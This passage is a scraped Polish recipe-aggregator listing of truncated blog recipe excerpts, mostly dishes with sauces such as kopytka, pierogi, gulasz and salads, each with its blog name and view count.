mundurkach. Gdy wystygną obieramy je i kroimy w kostkę. Cebulę i szczypiorek drobno siekamy, rzodkiewki kroimy w ćwiartki. Warzywa przekładamy do miski. Musztardę mieszamy ze śmietaną i przyprawami. Sos dodajemy do warzyw, mieszamy dokładnie. Sałatkę odstawiamy na pół godziny do lodówki

e-PrzepisyKulinarne
Syrop z fiołków - "Filozofia smaku" i inspiracje w Bosch Akademia Smaku 178

Centrum Domowych Inspiracji  i pod okiem szefa kuchni - Julity Strzałkowskiej, założycielki portalu kulinarnego WrzacaKuchnia.pl , przekuli teorię w praktykę, wysmażyli niezłe steki i upichcili kilka ciekawych potraw soczyście doprawionych sosami Kikkoman i pikantnym Tabasco . Nie zabrakło też zdrowej żywności Bonduelle  oraz Kupiec   dostarczonej przez frisco.pl .  Uczestnicy spotkania   mogli prowadzić kulinarne eksperymenty zakończone smacznymi efektami i jednocześnie

SzczyptaSmaQ
Domowe Qurrito 364

Gotową tortillę zapiekamy: w piekarniku rozgrzanym do 180 stopni przez około 15 minut, na patelni do zarumienienia lub około 3 minut w grillu elektrycznym.  4. Podajemy z ulubionym sosem, można także jako dodatek do sałatki

Szefowa kuchni
Pieczony królik 243

powinien z niego wyciekać przezroczysty (nie krwisty płyn). Można podawać od razu po upieczeniu z wybranymi surówkami. Można też odgrzać następnego dnia i podać na kapuście kiszonej oraz z sosem z pieczarek

Weekendy w domu i ogrodzie
sałatka grecka 151

efektowny przepis na pyszną potrawę Produkty: 1-2 pomidory 1/2 ogórka 1 mała głowka sałaty 5-6 rzodkiewek 1 czerwona cebula pół serka fetta 10-12 oliwek ciemnych sos sok z 1/2 cytryny 1 łyżeczka oregano i bazylii najkorzystniej świeżej ja mam suszone 1 ząbek czosnku 5-6 łyżek oliwy 1 łyżka miodu Wykonanie

Ugotujmy Coś
sos holenderski 135

Polecam sos holenderski do mięs,ryb,szparagów Produkty 1/2 kostki masła 4 żółtka sok z 1/2 cytryny sól, biały pieprz Wykonanie: Żółtka ubijam na pianę z sokiem z cytryny, solą i pieprzem

Ugotujmy Coś
Pieczone ziemniaki faszerowane tuńczykiem. 197

Ciekawa propozycja na zaserwowanie ziemniaków i na dodatek tania, gdyż podane proporcje wystarczą, żeby nakarmić do syta 4 osoby. Składniki: 10 średniej wielkości ziemniaków   1 puszka tuńczyka w sosie własnym, w kawałkach 1 jajo   100 g startego sera mozzarella 1 mała cebula 1 łyżka posiekanej natki pietruszki 1 łyżka posiekanego szczypiorku  zioła prowansalskie sól, pieprz opcjonalnie

Symfonia smakowa
Zielone warzywa w sosie serowo- śmietanowym 173

Dodaję brokuła. Warzywa podlewam odrobiną wody i duszę około 5 minut.  2. Następnie warzywa zalewam śmietaną. Dodaję serek i mieszam. Warzywa duszę na małym ogniu, do momentu aż sos zgęstnieje. Doprawiam do smaku solą oraz pieprzem.  3. Gotowe warzywa wykładam na talerz i posypuję posiekanym szczypiorkiem

Tradycyjna kuchnia Kasi
Fasolka po portugalsku- Feijoada a Portugesa 265

Rewelacyjne połączenie wędzonego boczku ze słodkim batatem i fasolką, zatopione w pomidorowym sosie. Wszystko dopełnia chrupiąca cieciorka. Portugalska wersja naszej fasolki po bretońsku. 300 g wędzonego boczku 2 cebule 1 duży batat 100 g koncentratu pomidorowego 100 g ciecierzycy Piątnica (kupicie tutaj) 200 g żółtej fasolki szparagowej Hortex 2 liście laurowe 3 ziarenka ziela angielskiego 1 szklanka bulionu Sól Pieprz

VioletoweKucharzenie
Marynowane żeberka w towarzystwie...kapusty 190

wciśnij między żeberka. Możesz dosmaczyć oliwą, pieprzem, przyprawą. Włóż do nagrzanego do 200 stopni piekarnika. Gdy się upiecze mięso ,a kapusta będzie miękka, wyłóż na talerze, skrop jeśli chcesz sosem tatarskim..i smacznego

Z Kuchni Do Kuchni
Krokiety z bakaliami 179

Jest to słodziutki deser mleczny z suszonymi śliwkami i orzechami laskowymi otoczony naleśniczkiem podsmażanym na złoto. Oblany kremowym sosem kajmakowym. Idealny w zestawie z lodami waniliowymi, które łamią słodycz tego deseru i lampką białego Prosecco :)Mam nadzieję, że również zakochacie się w tym deserze <3 Składniki: (na 2 porcje) Masa bakaliowa: 300 ml mleka skondensowanego 50 ml mleka

KreatywnePiny
Waniliowy sernik nowojorski. 284

piekarnika nagrzanego do 180 stopni i pieczemy 10 min. Zostawiamy w piekarniku do całkowitego wystudzenia. Następnie chłodzimy w lodówce min 3-4 godz, najlepiej całą noc. Podajemy z ulubionym sosem. U mnie malinowy

Malinowe Pocałunki
Muszle makaronowe ze szpinakiem i serami 234

Przyznaje, że muszle makaronowe są dla mnie bardzo niewdzięczne do sfotografowania i stanowią problematyczne danie w tym zakresie. Gdy podaje je w sosie wyglądają nieapetycznie i trudno wyróżnić ich kształt, a gdy same wyglądają na zeschnięte. Mimo wszystko przedstawiam Wam ten przepis bo jest godny uwagi. Danie jest proste, smaczne, w sam raz na obiad, nie tylko piątkowy. Ja urozmaiciłam

Kulinarny Świat Konczi i Szpileczki
Babka warzywna 372

plastry marchewkę na nie różyczki brokuła oraz warstwę kalafiora. Zalewamy tężejącą galaretką z bulionu odstawiamy do lodówki. Wykładamy na talerz ozdobiony sałatą dekorując natką pietruszki, można również podać z sosem czosnkowym. Smacznego

kgwjanczewo
Ziemniaczane Kulki 343

Kulki ziemniaczane to dość pracochłonny ale za to pyszny dodatek do mięsa albo ryby. Można je jeść również jako samodzielne danie z dowolnym sosem np. grzybowym . Trzeba się trochę napracować wykonując kulki ale naprawdę warto poświęcić na nie trochę czasu. Co ważne to wykorzystuje się do nich ugotowane ziemniaki, więc można dzień wcześniej ugotować ich więcej, lub wykorzystać te które

Mama Gotuje
Placki Ziemniaczane 219

Niezawodne placki ziemniaczane z sosem, gulaszem, śmietaną lub same. Żeby je zrobić nie potrzeba wiele czasu. Robi się je rzadko z prostego powodu, trzeba zetrzeć ziemniaki na tarce. Ale przecież prawie w każdym domu zajdzie się blender albo inne urządzenie które ułatwi nam pracę. Placki ziemniaczane są pyszne i warto od czasu do czasu je zrobić. Składniki: 1 kg ziemniaków

Mama Gotuje
Muffiny Nadziewane Mięsem 202

Muffiny nadziewane mięsem to rewelacyjny dodatek do czerwonego barszczu i świetna przekąska. To danie urozmaici każde przyjęcie. Mięso w pikantnym sosie zapieczone w kruchym cieście jest pyszne. Można je przygotować wcześniej i wstawić do piekarnika tuż przed podaniem. Te muffiny mogą stać się popisowym daniem każdego kto zechce je wypróbować. W przepisie podano ilości produktów do upieczenia około 24 muffin

Mama Gotuje
Kopytka 234

świetnym sposobem na wykorzystanie ziemniaków, które zostały nam z poprzedniego obiadu, a przy tym zrobienie ich jest szybkie i proste. Są idealne nie tylko do gulaszu lub innych sosów, ale i polane cebulką zeszkloną na smalcu i posypane koperkiem. Ciastu na kopytka nie służy długie oczekiwanie na gotowanie, więc najlepiej przygotować go tuż przed gotowaniem. Składniki: ½ kg ziemniaków ½ szklanki mąki

Mama Gotuje
Kotlety Ryżowe 212

przyrządzę coś, co już dawno nie gościło na moim stole. Chwila zastanowienia, przegląd składników, które posiadam i wymyśliłam. Kotlety ryżowe są ciekawym pomysłem na codzienny obiad. Rewelacyjnie pasują do sosu pomidorowego albo pomidorowego indyjskiego chutney`u. Ładnie wyglądają i jeszcze lepiej smakują. Składniki: ¾ szklanki ryżu 4 jajka ½ pęczku natki pietruszki 1 łyżka mąki sól pieprz bułka tarta do opanierowana kotletów

Mama Gotuje
Baba Ziemniaczana 287

Baba ziemniaczana jest świetną alternatywą dla tradycyjnych placków ziemniaczanych. Można ją podawać ze śmietaną, ulubionym sosem lub po prostu samą. Wymaga trochę pracy ponieważ trzeba zetrzeć ziemniaki, ale warto. To proste i bardzo dobre danie. Składniki: 1,5  kg ziemniaków 200 g wędzonego boczku może być dodatkowo zapażony 2 duże cebule 200 g mąki 2 jajka 3 ząbki czosnku

Mama Gotuje
Pasztet z Warzyw 183

białek i ponownie delikatnie wymieszać. Przełożyć do foremki wyłożonej papierem do pieczenia i piec w temperaturze 180 o około 45 minut. Do tak upieczonego pasztetu można przygotować ulubiony sos lub podawać bez dodatków

Mama Gotuje
Sałatka z rukolą i arbuzem 189

suchą rozgrzaną patelnię i prażyć aż się przyrumienią. Rukolę umyć i osuszyć, oliwki pokroić w plasterki, ser feta pokroić w kostkę a czerwoną cebulę pokroić w drobną kostkę. Przygotować sos: wymieszać ze sobą miód cytrynę i pieprz. Wszystkie składniki wymieszać ze sobą. Można zostawić częćś pestek dyni i posypać nimi wierzch sałatki

Mama Gotuje
Kotlety z ciecierzycy 182

ciecierzycy więc postanowiłam zrobić z niej kotlety. Zrobiłam kotlety z ½ szklanki suchej cieciorki, akurat dla 2 osób, ale warto je zrobić z całej szklanki cieciorki. Do kotlecików świetnie pasuje sos pomidorowy. Składniki: ½ szklanki ciecierzycy 1 ząbek czosnku 1 cebula 2 łyżki mąki 1 łyżka masła ½ pęczku natki pietruszki 1 łyżeczka sumaku ½ łyżeczki kolendry ½ łyżeczki kuminu (kmin rzymski) sól pieprz olej

Mama Gotuje
Tort z masą maślaną 253

piekarniku. Przygotować zasmażkę: Masło rozpuścić w garnku o grubym dnie, dodać mąkę i smażyć przez chwilę. Dolać mleko i energicznie mieszać dalej podgrzewając do momentu, aż znikną grudki a sos zgęstnieje. Zasmażkę ostudzić. Masło rozetrzeć z cukrem. Dalej ubijając dodawać po 1 łyżce zasmażki. Masę podzielić na 2 części. Do jednej dodać sok z cytryny, do drugiej kakao, obie dokładnie

Mama Gotuje
Kluski na parze 196

nałożyć na niego gazę lub pieluchę tetrową i obwiązać ją sznurkiem. Gdy woda zacznie się gotować wkładamy kluski i przykrywamy je pokrywką. Kluski można podawać polane roztopionym masłem lub sosem zrobionym z jogurtu naturalnego, kakaa i cukru pudru - wszystkie składniki wystarczy wymieszać

Mama Gotuje
Kluski śląskie 224

Dziś przepis na kluski śląskie. Są one rewelacyjnym dodatkiem do mięs, sosów a również podawane samodzielnie polane smalcem i smażonym boczkiem. Składniki: 500 g ziemniaków 1 jajko mąka ziemniaczana (objętość ¼ przeciśniętych przez praskę ziemniaków) Wykonanie: Ziemniaki ugotować w mundurkach w osolonej wodzie, ostudzić i obrać. Ziemniaki przecisnąć przez praskę do ziemniaków. Ziemniaki przełożyć do miski lub na stolnicę. Odłożyć ¼ ziemniaków

Mama Gotuje
Rurki z kremem 204

Krem: Przygotować zasmażkę: Masło rozpuścić w garnku o grubym dnie, dodać mąkę i smażyć przez chwilę. Dolać mleko i energicznie mieszać dalej podgrzewając do momentu, aż znikną grudki a sos zgęstnieje. Zasmażkę ostudzić. Masło rozetrzeć z cukrem. Dalej ubijając dodawać po 1 łyżce zasmażki. Następnie dodać sok z cytryny i dokładnie wymieszać. Rurki: Masę przełożyć do szprycy i nadziewać rurki

Mama Gotuje
SUSHI 175

ogórek konserwowy- chili kawałek łososia wędzonego, paczka paluszków krabowych 1 opakowanie prasowanych alg nori do zawijania majonez  wasabi (japoński zielony chrzan) do przyprawiania i do podania marynowany imbir, sos sojowy do podania Naczynia i narzędzia: garnek z grubym dnem miska duża na ryż miseczka na wodę do maczania rąk bambusowa mata ostry nóż deska do krojenia talerzyki, malutkie miseczki

MarciochaKucharzy
Faszerowane tuńczykiem śniadaniowe bułeczki z jajkiem 227

jajecznicę lub jajko na miękko :) Trzeba coś zmienić :) Dziś nadchodzi poranek zmian :) Zapiekane bułeczki faszerowane pasta tuńczykową z jajkiem sadzonym SKŁADNIKI: 4 duże bułki (wysokie) 1 opakowanie tuńczyka w sosie własnym 1 opakowanie białego sera ze szczypiorkiem 0,5 cebuli 4 jajka sól, pieprz, papryka Odcedzić tuńczyka i rozdrobnić widelcem. Cebulkę pokroić w drobną kosteczkę, wymieszać z serem, dodać tuńczyka

MarciochaKucharzy
Szaszłyk drobiowy 231

trochę zamarynowało :)   Nabijać na patyk szaszłykowy po kolei jak kto lubi. Grillować na 4 do momentu zarumienienia się mięska :D podawać z tym co kto lubi: ketchup, musztarda sos czosnkowy... Adaptacja żołądka przeprowadzona pomyślnie :D  Wiosno nadchodź jak najszybciej

MarciochaKucharzy
Pikantne pierogi z soczewicą 181

czasu pierogi z soczewicą :P SKŁADNIKI:  ciasto na pierogi 1 puszka soczewicy 1 cebula 1 jajko sól, pieprz, papryczka chili, kolendra oliwa z oliwek, szczypiorek Soczewicę zagotować (w sosie własnym), posolić. Następnie soczewicę odsączyć  i przestudzić. Cebulę obrać i pokroić w w kosteczkę, poddusić na oleju, przyprawić solą, pieprzem.   Ugotowaną soczewicę zmielić (utłuc) razem z usmażoną

MarciochaKucharzy
Kopytka w sosie śmietanowo - serowym z kurczakiem 224

smaczne rozpoczęcie tygodnia proponuję  Kopytka w sosie serowym z kurczakiem SKŁADNIKI kilka ziemniaków pół objętościowo mąki tortowej sól 2 piersi z kurczaka ser gorgonzola 400ml śmietany 12% sól, pieprz, suszona pietruszka  Gotujemy ziemniaki w osolonej wodzie, studzimy. Zmielone ziemniaki umieszczamy w dużej misce i dosypujemy mąki.  Ugniatamy na jednolite ciasto, robimy 2 walki średnicy ok 2cm. Kroimy

MarciochaKucharzy
Ośmiorniczki rolowane w cukinii z serem mozarella 212

dusimy pokrojone w plasterki pieczarki, dodajemy pomidory z puszki, doprawiamy.  Ośmiorniczki odcedzamy z oleju, rolujemy w grillowanej cukinii razem z serem mozzarella. Podajemy na kaszy kuskus wraz z sosem pomidorowym Święta są fantastycznym momentem na eksperymentowanie w kuchni!! Smacznego

MarciochaKucharzy
Morska zupa pomidorowa z krewetkami i rybą 174

cebulka, pokrojona w kosteczkę 2 ząbki czosnku, drobno posiekane 2 papryczki chilli (lub 1 jak ktoś nie lubi piekielnie ostrego smaku) 1 puszka pomidorów (400 g) bez skórek, w sosie pomidorowym 300 ml gorącego bulionu jarzynowego, łagodnego (suszone warzywa +sól+oliwa) sok z 1/2 cytryny 4 - 5 łyżek drobnego makaronu Lubella sól morska i świeżo zmielony pieprz, świeża pietruszka Krewetki

MarciochaKucharzy
Pizza bolońska na spodzie z bakłażana 158

mielonego pomidory krojone 1 pomidor 2 kulki mozzarella cebula,sól, pieprz, czosnek, przyprawa włoska, oliwa Bakłażana pokroić w cieniutkie plastry, posolić i odstawić do wypocenia. W tym czasie przygotować sos boloński. Pokrojoną w kostkę cebulę delikatnie zeszklić na tłuszczu, dodać sprasowany czosnek a następnie mięso mielone. Podsmażać całość ok 10-15 minut, dodać pomidory, i przyprawić solą pieprzem, papryczką chili

MarciochaKucharzy
Smażone gnocchi w sosie pieczarkowym 257

Miała być zupa krem pieczarkowa, ale dojeżdżając do domu zmieniłam zdanie:D Smażone gnocchi w sosie pieczarkowym  SKŁADNIKI kilka ziemniaków pół objętościowo mąki tortowej sól 1 jajko 2 piersi z kurczaka pieczarki 400ml śmietany 12% sól, pieprz,cebula pestki dyni, masło, świeża pietruszka  Zmielone ugotowane ziemniaki umieszczamy w dużej misce i dosypujemy mąki i jedno jajko. Ugniatamy ciasto

MarciochaKucharzy
Szpinak z jajkiem w cieście francuskim 211

świeżego ser z pleśnią 2 jajka sól pieprz 2 ząbki czosnku  łyżeczka masła Umyty i osuszony szpinak dusimy na masełku, dodajemy czosnek i przyprawiamy solą i pieprzem. Redukujemy sos, dodajemy ser pleśniowy. Ciasto francuskie dzielimy w proporcji 1/3 i 2/3. Tę większą cześć nakrawamy w poprzek na paski ok 1-1,5 cm.  Na węższą część nakładamy farsz

MarciochaKucharzy
Pstrąg w cieście solnym wg Magdy Gessler 492

masę. Takim ciastem oblepić przygotowaną rybę. Piec w 160-180 °C przez około 20-30  minut.  Rybkę zjedliśmy ze pieczonymi świderkami ziemniaczanymi oraz brokułem w sosie śmietanowo- czosnkowym. Pycha:) Szkoda tylko, że tego ciasta nie da się zjeść

MarciochaKucharzy
Pasztet z zielonej soczewicy 163

dwoma jajkami. Masę przelać do foremki- keksówki i posypać pestkami słonecznika. Piec pasztet w 200' 40 minut do godziny. Sprawdzić patyczkiem czy jest już dobry.  Ja podałam z sosem pieczarkowym. Smacznego

MarciochaKucharzy
Żeberka duszone w kapuście 360

liście laurowe.  Dolewamy bulionu, tak by żeberka były przykryte; posypujemy wszystko suszonym majerankiem, kminkiem i czerwoną papryką, przykrywamy i dusimy przez ponad godzinę. Na talerze wykładamy kapustę z sosem, a na nią uduszone żeberka. Smacznego

MarciochaKucharzy
Zapiekanka z rybą i brokułami 132

najlepiej podgotować na parze. W dwóch naczyniach żaroodpornych umieścić po połowie wszystkich składników. Śmietanę wymieszać z serkiem topionym, tartym serem żółtym, oraz przyprawić czosnkiem, solą, pieprzem i oregano. Takim sosem oblać składniki zapiekanki, na koniec dodatkowo posypać tartym serem. Piec w piekarniku nastawionym na 180 stopni przez o 25 minut. Smacznego

MarciochaKucharzy
Pizza na spodzie z cukinii 195

jednak się da :) Pizza na spodzie z cukinii SKŁADNIKI: 2 cukinie 2 jajka ser żółty boczek pomidory mozarella papryczka chili sos pomidorowy sól, pieprz, przyprawa włoska Cukinie zetrzeć na tarce o dużych oczkach, posypać solą i odstawić na 10 minut. Po tym czasie wycisnąć z niej sok. W międzyczasie zetrzeć na tarce ser żółty. Przełożyć wszystkie składniki

MarciochaKucharzy
Pikantna sałatka z roszpunki, gorgonzoli i pistacji 181

Mamy świeże mule w sosie czosnkowym, więc do tego: Pikantna sałatka z roszpunki, gorgonzoli i pistacji SKŁADNIKI: opakowanie roszpunki ( lub rukoli) ser gorgonzola 3 pomidory 2 garście pistacji ostra papryczka sól, pieprz, bazylia, oregano, czosnkowa oliwa z oliwek ewentualnie opakowanie muli Mule przygotować zgodnie z instrukcją na opakowaniu:) Roszpunkę dokładnie opłukać, dodać pokrojone w kostkę pomidorki i ser gorgonzola. Pistacje

MarciochaKucharzy
Klopsiki w sosie koperkowym 193

Dziś po raz kolejny wracam do smaków dzieciństwa. Przyznam się, że nie przepadałam za tym daniem:) Dlatego chcę je tym razem odczarować :) Klopsiki w sosie koperkowym SKŁADNIKI: 500 g -mięsa mielonego 1cebula  1 łyżka masła  1 jajko  bułka tarta  2-3 szklanki - wywaru jarzynowego   400ml śmietany 1 marchewka 1 pęczek - koperku   sól

MarciochaKucharzy
Grillowany camembert z sosem czosnkowym 138

Świetne danie dla zabieganych Grillowany camembert z sosem czosnkowym SKŁADNIKI: 3 sery camembert sałata dębolisnta pomidorki koktajlowe zielone oliwki prażony słonecznik jogurt naturalny czosnek różki ziemniaczane sól, pieprz,ostra papryczka, oliwa z oliwek Camembert grillujemy to zarumienienia się skórki. Sałatę rozrywamy na mniejsze kawałki, pomidorki koktajlowe kroimy na połówki, dodajemy oliwki i prażony słonecznik. Doprawiamy i mieszamy z oliwą. Rożki

MarciochaKucharzy
Pierogi z botwinką w sosie koperkowym 211

Wiosenna wersja pierożków. Co roku goszczą na naszym stole:) Pierogi z botwinką w sosie koperkowym SKŁADNIKI: botwinka ser biały ( lub ricotta) koperek jogurt grecki 1 ząbek czosnku sól, pieprz ciasto: 350 g mąki tortowej 1 łyżka oleju ciepła woda Botwinkę dokładnie umyć, posiekać. Podgotować w osolonej wodzie do miękkości. Wymieszać z rozgniecionym widelcem serek i posiekanym koperkiem (połowa porcji). Doprawić

MarciochaKucharzy
Łosoś gotowany na parze z zielonymi szparagami 182

Lekki i zdrowy wiosenny obiadek Łosoś gotowany na parze z zielonymi szparagami SKŁADNIKI: pęczek zielonych szparagów 2 filety z łososia ze skórką sos serowy (z serków topionych, śmietany) korbacz (oscypek - makaron) sól, pieprz, cytryna Szparagi umyć i odciąć zdrewniałe końcówki. Gotować na parze około 10 minut. Zahartować w zimnej wodzie.Łososia podobnie umyć i osuszyć papierowym ręcznikiem. skropić sokiem

MarciochaKucharzy
Pappardelle z kurkami w sosie śmietanowo-pietruszkowym 192

Marzenie mojego męża, dziś zostało spełnione:) Pappardelle z kurkami w sosie śmietanowo-pietruszkowym SKŁADNIKI: 400 g Pappardelle lub tagliatelle 250 g świeżych kurek 500ml śmietany pęczek pietruszki 1 cebula sól, pieprz, lubczyk, masło, parmezan Makaron ugotować aldente zgodnie z instrukcją na opakowaniu. Na masełku zeszklić cebulę posiekaną w kostkę. Następnie dodać oczyszczone i pokrojone kurki.  Podsmażyć chwilę, około10 minut

MarciochaKucharzy
Pizza party ze szpinakiem lub kurkami 205

szklanka ciepłej wody łyżeczka cukru przyprawa do pizzy 250g kurek czerwona cebula sól, czarny pieprz, pietruszka do posypania świeży szpinak ser gorgonzola 2-3 ząbki czosnku 400 ml sosu śmietanowego , ser mozzarella  Drożdże rozpuścić w 60 ml ciepłej wody, dodaję cukier i 3 łyżki mąki. Odstawić na 1/2 godziny w ciepłe miejsce do wyrośnięcia.  Mąkę przesiać do miski

MarciochaKucharzy
Makaron z kurkami i kurczakiem 216

minut. Dodać śmietanę i tarty zółty ser. Gotować do jego rozpuszczenia. Doprawić do smaku solą, pieprzem, szczyptą kurkumy Makaron ugotować aldente zgodnie z instrukcją na opakowaniu. Do makaronu dodać sos i posiekaną pietruszkę. Wymieszać i gotowe:) Smacznego

MarciochaKucharzy
Placki z cukinii i marchewki 180

żółty, jajka oraz przyprawy. Ja zamiast soli dodałam odrobinę pokruszonej fety. Dobrze wymieszać. Na rozgrzaną patelnię z niewielką ilością oliwy nałożyć łyżką masę. Smażyć do zarumienienia. Podawać z sosem tzatziki. Smacznego

MarciochaKucharzy
Zapiekany bakłażan faszerowany kaszą bulgur i mięsem mielonym 189

teraz najlepsze są bakłażany cukinie czy dynie Zapiekany bakłażan faszerowany kaszą z mięsem mielonym SKŁADNIKI: 2 bakłażany 1 łyżka oliwy z oliwek 400 g mielonego mięsa garść kaszy bulgur sos pomidorowy 1 cebula 2-3 ząbki czosnku  sól, pieprz, papryka, zioła, lubczyk 2-3 łyżki bułki tartej do posypania Bakłażany umyć i pokroić  na połówki, wybrać miąższ, posolić

MarciochaKucharzy
Cukinia faszerowana krewetkami w pomidorach 195

ogonki, opłukać i osuszyć. Zeszklić cebulkę na tłuszczu, a następnie delikatnie poddusić w białym winie. Dodać czosnek, czarne oliwki i pomidory .  Gotować aż stworzy się pomidorowy sos, doprawić . Dodać krewetki i mieszając obsmażyć chwilkę aż zmienią kolor z szarego na różowy.   Taki farsz nałożyć do wydrążonych cukinii i ponownie włożyć do piekarnika na ok 10-15 minut

MarciochaKucharzy
Mini pizza z grzybami, boczkiem i porem 193

pokroić w plastry i poddusić do miękkości na maśle z dodatkiem soli i czarnego pieprzu. Na osobnej patelni poddusić cebulkę a następnie uprażyć boczek, doprawiając do smaku papryką chili. Sos na spód pizzy wykonać mieszając śmietanę, czosnek i przyprawę włoską. Gdy ciasto podwoi swoją objętość można formować łódeczki. Następnie nałożyć kolejno składniki farszu i posypać tartym serem. Piec w piekarniku

MarciochaKucharzy
Polędwiczki z kurczaka z brokułami i jakiem 189

minut by smaki się przegryzły. Mięso podsmażyć na złocisty kolor. W tym czasie ugotować na parze różyczki brokuła i w osobnym garnku 2 jajka na twardo. Całość podać z sosem jogurtowo- czosnkowym z dodatkiem fety zamiast soli. Smacznego

MarciochaKucharzy
Gulasz wołowy z knedlikami 218

Czechach kupujemy sobie knedlika do przygotowania w domku. Do niego najlepszy jest pikantny mięsny sosik. Gulasz wołowy z knedlikami SKŁADNIKI: 500g mięsa wołowego gulaszowego 2 cebule bulion warzywny pikantny sos Bomba Calabrese 2-3 ząbki czosnku sól, pieprz, czerwona czubryca, lubczyk dodatki: knedliczki, cebula i ogórek kiszony, świeży tarty chrzan Mięso umyć i osuszyć papierowymi ręcznikami i pokroić na niewielkie

MarciochaKucharzy
Sałatka z rukoli, krewetek i pomidorów koktajlowych 253

wrzucić krewetki. Teraz dodać pomidorki, oprószyć solą. Całość zalać winem. Po 3-5 minutach ściągnąć z gazu. Krewetki z pomidorami ułożyć na rukoli posypanej oliwkami i serem, polać powstałym sosem. Sałatkę oprószyć tartym parmezanem. Smacznego

MarciochaKucharzy
Zapiekanka z mięsem mielonym pod puree warzywnym 213

sprasowany czosnek. Dodać mięso i na większym ogniu obsmażyć ze wszystkich stron, w międzyczasie doprawić solą, pieprzem, słodką i ostrą papryką. Dodać pomidory. Gotować przez około 25 minut aż sos pomidorowy zgęstnieje. W razie potrzeby doprawić solą i pieprzem. Dodać odsączoną fasolę oraz kukurydze i gotować jeszcze przez około 2 minuty. Do naczynia żaroodpornego wyłożyć farsz z patelni . Przykryć purée

MarciochaKucharzy
Rekin z pieczonymi batatami 187

Ekskluzywny Fish and chips Rekin z pieczonymi batatami SKŁADNIKI: 2 płaty rekina 1-2 bataty 2 jajka, bułka tarta sól, pieprz, kolendra, rozmaryn tymianek jogurtowy sos ziołowo- czosnkowy Rekina rozmnożyć, przepłukać i wysuszyć ręcznikiem papierowym. Oprószyć solą pieprzem, kolendrą i odstawić na pół godziny. Następnie rybę oprószyć mąką obtoczyć w roztrzepanym jajku i opanierować w bułce tartej. Smażyć na rozgrzanym

MarciochaKucharzy
2 rok blogowania za mną :) 161

potrawy z ubiegłego roku:) STYCZEŃ  Por nadziewany łososiem (cannelloni ) LUTY Oponki serowe mojej babci Ani MARZEC Pikantny Gulasz Węgierski KWIECIEŃ Chałka z kminkiem MAJ Pierogi z botwinką w sosie koperkowym CZERWIEC Ciasto z rabarbarem, bezą i kruszonką LIPIEC  Risotto z prawdziwkami SIERPIEŃ Paella mixta z langustynkami i kurczakiem WRZESIEŃ Dyniowe kluski śląskie z żeberkami w kapuście PAŹDZIERNIK Falafel

MarciochaKucharzy
Królik w sosie winno- musztardowym 193

Drugie podejście do królika. Tym razem pikantne. Królik w sosie winno- musztardowym SKŁADNIKI: 1-1,5 kg królik  150ml białego wina 3 łyżki czubate musztardy 1 cebula 3 ząbki czosnku masło 200 ml bulion warzywny 200 ml śmietany sól, pieprz, tymianek, lubczyk, papryczka chili (jeśli musztarda nie jest ostra) kasza pęczak lub ryżem Sałata, pomidory, prażone migdały, śmietana Pokroić

MarciochaKucharzy
Burek meso czyli bałkański przysmak z mięsem 244

mięsnego i zawinąć ciasto. Ciasto posmarować roztopionym masłem. Piec w piekarniku nastawionym na 200 stopni przez 25-30 minut do pięknego zarumienienia się. Burka można zjeść samego lub z sosem jogurtowo-ziołowym. Najlepszego Burka jedliśmy w Albanii i Czarnogórze, nasz wyszedł bardzo fajnie.. ale na Bałkanach smakuje inaczej :D Smacznego

MarciochaKucharzy
Pasta z cieciorki z Jalapeno 204

Lubicie ostre pasty ? Jeśli tak to będzie Wam smakowała. Potrzebne będzie : 1 puszka cieciorki 5-6 plasterków konserwowej jalapeno 5 pomidorów suszonych 3 ząbki czosnku sok z cytryny łyżeczka sosu sojowego 1 łyżka pestek dyni pieprz, sporo suszonej bazylii Wszytko razem miksujemy na gładką masę i gotowe. Prosto jak zwykle, a jak smacznie i zdrowo :) Pozdrawiamy i sorry, że dzisiaj

vegetanie
Chili con carne z soczewicą 238

   Nie będzie to klasyczna odsłona chili con carne. W moim chili zamiast fasoli, znalazła się zielona soczewica. Danie to, może nie jest daniem typowo

kolorowotorcikowo
Żeberka miodowo-sojowe pieczone w rękawie 233

się sam - wystarczy dobra marynata, a potem do piekarnika, pieczemy i mięsko gotowe. Mąż z pewnością będzie zadowolony :) Składniki: 1,2-1,5 kg mięsnych żeberek Marynata: 2 łyżki sosu sojowego ciemnego 2 łyżki płynnego miodu 2 łyżki musztardy Dijon 1 łyżeczka mielonego imbiru 1 łyżeczka ziaren kolendry sól, pieprz wedle uznania Sposób wykonania: 1. Składniki marynaty połączyć ze sobą

Kuchnia domowa Ani
Klopsiki w sosie śmietanowym z suszonymi pomidorami 227

Dzisiejszy obiad to zachcianka córki. Ogólnie miały być szwedzkie klopsiki kottbullar z żurawiną i plackami rosti . I tak było, ale zrobiłam drugą wersje obiadu, mianowicie część klopsików wymieszałam z sosem śmietanowym i suszonymi pomidorami. Dwie wersje, obie pyszne. Obiad pierwsza klasa. Czytaj więcej

Bernika - moj kulinarny pamietnik
Carpaccio z buraka z sosem jogurtowym i kawałkami pieczonego indyka 281

ziemniak  pokrojony w plasterki i  upieczony w przyprawie do ziemniaków (180 stopni C, 45 minut) 1 mini sałata (ja kupuję w Lidlu), lub dowolny mix sałat Na sos: 2 łyżki posiekanej natki pietruszki 3 łyżki jogurtu naturalnego 1 łyżeczka orzeszków pini świeżo zmielony pieprz sól Ugotowanego buraka kroimy w plasterki Upieczoną pierś drobiową kroimy w plastry Sałatę mini

www.szczesliwakuchnia.blogspot.com
Roladki z buraczkami i żurawiną 177

dzisiejszy obiad polecam pyszne gotowane roladki z buraczkami. W kilkanaście minut możemy zrobić smaczny obiad dla całej rodziny. Roladki podałam z ryżem i sosem serowym. SKŁADNIKI: 3 piersi z kurczaka, 2 buraki ćwikłowe, ½ cebuli, 5 dag suszonej żurawiny, 2 łyżki masła, sól, pieprz. PRZYGOTOWANIE: 1. Buraki obieram, ścieram na tarce o dużych oczkach. Cebulę kroję w drobną kosteczkę. Na maśle

Tradycyjna kuchnia Kasi
POTRAWKA Z KURCZAKA Z PIECZARKAMI 409

pieprzem, obsmażamy na oleju. Na patelnię dokładamy pokrojone w plastry pieczarki, kiedy się delikatnie zrumienią, dolewamy bulion, wrzucamy groszek, doprawiamy do smaku. Wlewamy też śmietanę. Wszystko mieszamy, podduszamy aż sos zacznie gęstnieć

Z Majeczką w kuchni
Pesto z czosnku niedźwiedziego 195

jest pod ochroną, dlatego nie wolno go zrywać w lesie. Jeśli uda Wam się zdobyć tę aromatyczną roślinę, warto przygotować z niej pesto, które później  można wykorzystać jako sos do makaronu lub dodatek do grzanek. Można też na jego bazie przygotować pyszny dip, dodając do niego jogurt naturalny. Będzie on doskonałym dodatkiem do dań przygotowywanych na grillu.   Składniki

Smakowity Blog Kulinarny
